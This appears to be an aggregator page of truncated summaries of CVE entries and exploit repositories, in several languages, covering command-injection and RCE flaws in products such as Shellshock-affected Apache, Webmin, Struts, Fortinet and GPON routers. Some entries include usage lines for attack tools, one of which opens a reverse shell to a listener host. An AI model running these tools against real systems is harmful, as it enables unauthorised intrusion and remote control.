CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 بيان البحث الأمني هذا المشروع مخصص فقط لأغراض البحث الأمني والتعليم. استخدام هذه الأداة في اختبارات غير مصرح بها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر. 📋 نظرة عامة CVE-2024-31317 هو ثغرة أمنية خطيرة تؤثر على أجهزة Android من الإصدار 9 إلى 13، وتسمح...

CVE-2026-92531

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2023-22496-PoC

CVE-2023-22496 — إثبات مفهوم حقن الأوامر في نظام التشغيل لـ Netdata Agent PoC الخطورة : حرجة CVSS 9.8 المتأثر : Netdata Agent تم الإصلاح في : v1.37.0 النوع : حقن أوامر نظام التشغيل CWE-78 نظرة عامة CVE-2023-22496 هي ثغرة حقن أوامر نظام التشغيل في نظام إشعارات إنذار الصحة health alarm لـ Netdata...

CVE-2026-92531 Improper Neutralization of Special Elements used in an OS Command in BugTracker.NET

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

EUVD-2026-94283

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2026-92531 Improper Neutralization of Special Elements used in an OS Command in BugTracker.NET

Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges coul...

CVE-2026-92531

BugTracker.NET contains an operating system command injection vulnerability in its SVN integration component . The application fails to properly validate the repository field value before incorporating it into an svn.exe command. An authenticated user with administrator privileges can store manip...

CVE-2026-54161

CVE-2026-54161 PoC Résumé upsmon interpole la valeur ups.alarm fournie par le serveur et contrôlable par l'attaquant, non assainie, dans une commande shell qu'il exécute via system. Lorsqu'un périphérique surveillé signale un état ALARM et que l'opérateur a configuré NOTIFYCMD avec EXEC sur...

CVE-2014-6271

CVE-2014-6271 Shellshock أداة استغلال Python تطبيق Python نظيف وفعّال وتفاعلي مصمم لاختبار ثغرة Shellshock CVE-2014-6271 عبر حقن متغيرات بيئة HTTP. 📝 الوصف Shellshock CVE-2014-6271 هي ثغرة أمنية حرجة في صدفة Bash تتيح للمهاجمين تنفيذ أوامر عشوائية بإلحاقها بنهاية تعريفات الدوال المخزنة في متغيرات...

CVE-2026-34038

CVE-2026-34038: Аутентифицированное удаленное внедрение команд в Coolify Этот репозиторий содержит документацию и анализ для CVE-2026-34038 , критической уязвимости внедрения команд в Coolify. Краткое описание Аутентифицированная уязвимость удаленного внедрения команд CWE-78 в Coolify позволяет...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 1.1.0 - حقن أوامر نظام التشغيل Exploit Title: SDT-CW3B1 1.1.0 - OS Command Injection Vendor Homepage: http://telesquare.co.kr/ CVE : CVE-2021-46422 CVE Description: Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attack...

CVE-2012-2982

CVE-2012-2982 تم كتابة هذا السكربت بلغة بايثون للثغرة في Webmin 1.580، CVE-2012-2982. توجد الثغرة في المكون /file/show.cgi وتسمح لمستخدم موثق، لديه صلاحية الوصول إلى وحدة مدير الملفات، بتنفيذ أوامر عشوائية بصلاحيات الجذر. التثبيت إصدار بايثون المختبر: Python 3.8.5 الحزمة المطلوبة من pip: secrets...

struts-rce-cve-2017-9805

الوصف أداة Apache Struts RCE لثغرة CVE 2017-9805 الخيارات u: رابط الهدف؛ c: الأمر الذي سيتم تنفيذه على الهدف المعرّض للثغرة؛ f: يفحص تلقائيًا بحثًا عن RCE باستخدام قائمة من الأهداف هدف واحد لكل سطر؛ p: تحديد المنفذ لمستمع محلي - يُستخدم مع خيار f - الافتراضي: 8080 الاستخدام go run main.go -u...

CVE-2023-27997-POC

الاستخدام: python3 cve-2022-42475.py rhost rport lhost 'command' مثال: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' إخلاء مسؤولية: هذا المشروع مُعد لأغراض تعليمية واختبارات أخلاقية فقط. استخدام هذه الأداة لمهاجمة الأهداف دون موافقة متبادلة مسبقة يُعد غير قانوني. لا يتحمل...

GPON

RCE على أجهزة توجيه GPON المنزلية CVE-2018-10561 الثغرة تستخدم العديد من أجهزة التوجيه اليوم إنترنت GPON، وقد اكتشف VPNMentor طريقة لتجاوز جميع آليات المصادقة على الأجهزة CVE-2018-10561. مع هذا التجاوُز للمصادقة، من الممكن أيضًا الكشف عن ثغرة أخرى لحقن الأوامر CVE-2018-10562 وتنفيذ الأوامر على...

CVE-2026-87902

CVE-2026-87902 | ---|--- Advisory| GHSA-7hp8-65ch-5whp Product| WordPress = 7.1.1, fixed in 7.1.2; both versions tested Sink| wp-includes/template.php, getpagetemplate Cause| the candidate built from pagename is not passed through validatefile Actor| anonymous, no account, no cookie, no CSRF toke...

Exploit-CVE-2025-68613

Exploit-CVE-2025-68613 نشرة أمنية: ثغرة حرجة في تنفيذ الأكواد عن بُعد في n8n CVE-2025-68613 تم تحديد ثغرة أمنية حرجة في أداة أتمتة سير العمل n8n تسمح بتنفيذ كود عشوائي. يمكن للمستخدمين المصادق عليهم الذين لديهم صلاحيات إنشاء أو تعديل سير العمل استغلال هذا العيب للحصول على التحكم في النظام الذي...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 أداة Apache Shellshock Remote Command Injection لإنشاء قشرة عكسية سريعة وتصفح الملفات Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files...

CVE-2024-55187

Résumé Les paramètres administratifs sensibles ne sont pas suffisamment nettoyés, ce qui permet à un attaquant d'empoisonner les chemins vers les binaires système. L'attaquant peut ensuite télécharger des fichiers CSV dangereux qui peuvent être traités comme des archives PHAR contenant des...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM الاستخدام: الشرط الأساسي هو تفعيل ميزة modeline ميزة modeline مفعلة افتراضيًا للمستخدم العادي، بينما تكون معطلة افتراضيًا لمستخدم root. استخدم echo &modeline للتحقق من حالة التفعيل: 1 تعني مفعّل و0 تعني معطّل إذا لم تكن مفعلة، يمكنك إضافة set modeline في /.vimrc وإذا لم...